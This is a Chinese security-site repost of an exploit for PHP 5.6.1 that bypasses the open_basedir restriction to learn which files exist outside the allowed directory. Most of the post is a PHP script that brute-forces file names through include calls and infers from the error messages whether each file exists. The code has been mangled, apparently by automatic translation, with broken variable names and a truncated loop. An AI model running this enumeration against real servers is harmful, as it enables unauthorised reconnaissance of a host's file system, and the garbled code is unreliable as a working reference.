PHP 5.6.1 open_basedir exist file check bypass

没穿底裤 2020年1月1日05:38:47评论409 views字数 284阅读0分56秒阅读模式
摘要

- file an existing member:
Warning: include (): open_basedir restriction in effect. File (D: / site / file.txt) is not within the allowed path (s):
(d: / site / www /) .....

- file an existing member:
Warning: include (): open_basedir restriction in effect. File (D: / site / file.txt) is not within the allowed path (s):
(d: / site / www /) .....

- file is missing:
Warning: include (): open_basedir restriction in effect. File (../ file1.txt) is not within the allowed path (s): (d: /
site / www /) .....

[php]
ini_set ('display_errors', 1);
ini_set ('display_startup_errors', 1);
ini_set ('error_reporting', E_ALL);
ini_set ('log_errors', 0);
ini_set ('html_errors', 0);
ini_set ('max_execution_time', 0);

$ Alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
$ Alphabet_len = strlen ($ alphabet);
$ Maxlength = 1;
$ Str = '';

$ Dir = '../';
if (isset ($ _ GET ['dir'])) {
$ Dir = $ _GET ['dir'];
}

$ Ext = '';
if (isset ($ _ GET ['ext'])) {
$ Ext = $ _GET ['ext'];
if (isset ($ ext [0]) && $ ext [0]! = '.') {
$ Ext = '.'. $ Ext;
}
}

function inc ($ s, $ i) {
global $ alphabet_len;
if (! isset ($ s [$ i])) {
$ S [$ i] = 0;
return $ s;
}
if ($ s [$ i] + 1 == $ alphabet_len) {
$ S [$ i] = 0;
$ S = inc ($ s, $ i + 1);
} Else {
$ S [$ i] ++;
}
return $ s;
}

function check3 ($ s) {
global $ str, $ alphabet, $ dir, $ ext;
$ Str = 'a';
for ($ i = 0; $ i $ Str [$ i] = $ alphabet [$ s [$ i]];
}
include $ dir. '/. /'. $ str. $ ext;
}

function eh ($ errno, $ errstr, $ errfile, $ errline) {
global $ str, $ ext;
if (substr_count ($ errstr, '/./') == 0) {
echo $ str. $ ext. '
';
}
}

set_error_handler ("eh");
echo 'open_basedir =' .ini_get ('open_basedir'). '
';

$ S = array ();
while (count ($ s = inc ($ s, 0)) <= $ maxlength) {
check3 ($ s);
}

echo '
end';

?>
[/php]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日05:38:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP 5.6.1 open_basedir exist file check bypasshttp://cn-sec.com/archives/76036.html

发表评论

匿名网友 填写信息